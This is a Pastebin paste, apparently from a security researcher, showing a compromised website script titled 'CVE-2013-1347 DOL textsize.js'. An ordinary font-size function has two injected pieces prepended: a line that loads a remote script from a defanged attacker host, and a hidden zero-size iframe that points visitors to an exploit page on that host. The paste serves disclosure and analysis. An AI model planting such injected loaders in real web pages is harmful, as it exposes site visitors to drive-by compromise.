eromang

CVE-2013-1347 DOL textsize.js

May 6th, 2013
356
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # DOL /scripts/textsize.js
  2.  
  3. h=document.createElement('script');h.src='hxxp://dol[.]ns01[.]us:8081/web/xss.php';document.getElementsByTagName('head')[0].appendChild(h);
  4.  
  5. function qjDHmhOtp0() {
  6.     var ysMlhRkf3W = document.createElement('iframe');
  7.     ysMlhRkf3W.setAttribute('width', 0);
  8.     ysMlhRkf3W.setAttribute('height', 0);
  9.     ysMlhRkf3W.setAttribute('src', 'hxxp://dol[.]ns01[.]us:8081/update/index.php');
  10.     document.getElementsByTagName('head')[0].appendChild(ysMlhRkf3W);
  11. }
  12. qjDHmhOtp0();
  13.  
  14.  
  15. function changeFontSize(inc){
  16.     tagnames=new Array('h2','h3','h4','p','ul','li','ol','a','td','div');
  17.     for(t in tagnames){
  18.         var tag = document.getElementsByTagName(tagnames[t]);
  19.         for(n=0; n<tag.length; n++){
  20.             if(tag[n].style.fontSize){
  21.                 var size=parseInt(tag[n].style.fontSize.replace("px", ""));
  22.             }else{
  23.                 var size=12;
  24.             }
  25.             tag[n].style.fontSize=size+inc+'px';
  26.         }
  27.     }
  28. }
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×